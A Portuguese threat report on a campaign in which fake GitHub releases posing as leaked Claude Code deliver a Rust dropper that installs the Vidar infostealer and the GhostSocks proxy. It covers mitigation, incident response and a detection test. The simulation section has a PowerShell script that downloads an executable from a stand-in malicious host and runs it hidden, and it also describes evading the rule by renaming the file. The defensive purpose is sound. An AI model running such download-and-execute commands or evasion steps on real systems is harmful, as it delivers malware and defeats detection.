Claude Code Lures Transformam Releases do GitHub em um Canal de Distribuição de Malware

Resumo

Os atores de ameaça rapidamente capitalizaram em um pacote npm mal configurado que inadvertidamente expôs o código-fonte do Claude Code da Anthropic. Eles criaram repositórios falsos no GitHub hospedando “lançamentos” trojanizados em 7z que distribuíam um carregador construído em Rust. Uma vez executado, o dropper instala o infostealer Vidar junto com o proxy GhostSocks SOCKS5 para possibilitar roubo e acesso encoberto.

Investigação

A investigação revelou uma operação de isca rotativa ativa desde fevereiro de 2026, baseada em contas de GitHub de curta duração para publicar artefatos de lançamentos maliciosos. Em todo o conjunto de iscas, as vítimas recebem o mesmo payload TradeAI.exe, que descriptografa URLs de C2 incorporadas, realiza verificações anti-análise e implanta tanto o Vidar quanto o GhostSocks. A descoberta de C2 é realizada através de resolvedores dead-drop hospedados no Steam e Telegram, ajudando a campanha a mudar rapidamente a infraestrutura.

Mitigação

As organizações devem limitar as instalações de ferramentas de IA a fontes avaliadas, bloquear links de lançamento do GitHub conhecidos como maliciosos e domínios de C2 relacionados, e monitorar de perto comportamentos de roubo de credenciais. Adicione detecções de endpoint para droppers compilados em Rust e padrões comuns de execução do Vidar/GhostSocks. Fortaleça a cobertura de sinais de evasão de sandbox e restrinja a execução de scripts suspeitos (incluindo atividade anômala de PowerShell) que possam ser usados para preparação ou ações subsequentes.

Resposta

Se detectado, isole o endpoint, preserve o executável malicioso e seu arquivo 7z associado, e procure por artefatos do Vidar e GhostSocks no host e na rede. Bloqueie os URLs identificados do pastebin e snippet.host e revogue quaisquer credenciais expostas imediatamente. Realize uma avaliação completa de comprometimento de credenciais, depois redefina contas privilegiadas e invalide tokens/sessões para prevenir a reutilização.

Execução de Simulação

Pré-requisitos: O Check de Pré-Voo de Telemetria & Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e buscar gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa do Ataque & Comandos:
  Um adversário recebe um e-mail de phishing (T1566.002) contendo um link malicioso que aponta para um repositório comprometido no GitHub hospedando TradeAI.exe. A vítima clica no link, que lança o PowerShell em uma janela oculta. O script baixa o dropper para o diretório temporário, executa-o, e o dropper posteriormente instala o ladrão Vidar e o proxy GhostSocks (T1027, T1090.003).

• Script de Teste de Regressão:

   # -------------------------------------------------
    # Simular execução do dropper de TradeAI.exe
    # -------------------------------------------------
    $url = "http://malicious.example.com/TradeAI.exe"
    $outPath = "$env:TEMPTradeAI.exe"
  
    # Baixar o dropper (imitar comportamento real do invasor)
    Invoke-WebRequest -Uri $url -OutFile $outPath -UseBasicParsing
  
    # Executar o dropper silenciosamente
    Start-Process -FilePath $outPath -WindowStyle Hidden
  
    # OPCIONAL: aguardar alguns segundos para permitir que quaisquer processos filhos sejam gerados
    Start-Sleep -Seconds 5
    # -------------------------------------------------

• Comandos de Limpeza:

   # Remova o dropper baixado e quaisquer artefatos temporários
    $outPath = "$env:TEMPTradeAI.exe"
    if (Test-Path $outPath) { Remove-Item $outPath -Force }
  
    # (Se o dropper criou arquivos adicionais, localize e exclua-os conforme necessário)
    # Exemplo: exclua o diretório de payloads conhecidos
    $payloadDir = "$env:APPDATAVidar"
    if (Test-Path $payloadDir) { Remove-Item $payloadDir -Recurse -Force }

Validação & Resultado Esperado

1. Alerta Esperado do SIEM: Após executar o script de regressão, o SIEM deve gerar um alerta onde Imagem termina com TradeAI.exe (or ClaudeCode_x64.exe). O título do alerta corresponderá ao título do campo da regra.
2. Teste de Evasão: Renomeie o binário baixado para TradeAI_renamed.exe e reexecute o script. Nenhum alerta deve ser disparado, confirmando a dependência da regra em nomes de arquivos estáticos.

Recomendações de Endurecimento

1. Adicionar Indicadores de Hash: Inclua hashes SHA‑256 de droppers maliciosos conhecidos na regra (ou uma regra separada baseada em hash).
2. Ampliar o Escopo: Estenda a detecção para monitorar execuções de binários desconhecidos lançados de locais atípicos (por exemplo, %TEMP%, %APPDATA%).
3. Correlação Comportamental: Correlacione a criação do processo com conexões de rede subsequentes a domínios de C2 conhecidos do GhostSocks (T1090.003) e gravações de arquivo de componentes conhecidos do Vidar.
4. Aplicação de Endpoint: Implante AppLocker ou o Controle de Aplicações do Windows Defender para bloquear a execução de binários não assinados em diretórios graváveis pelo usuário.

Fim do Relatório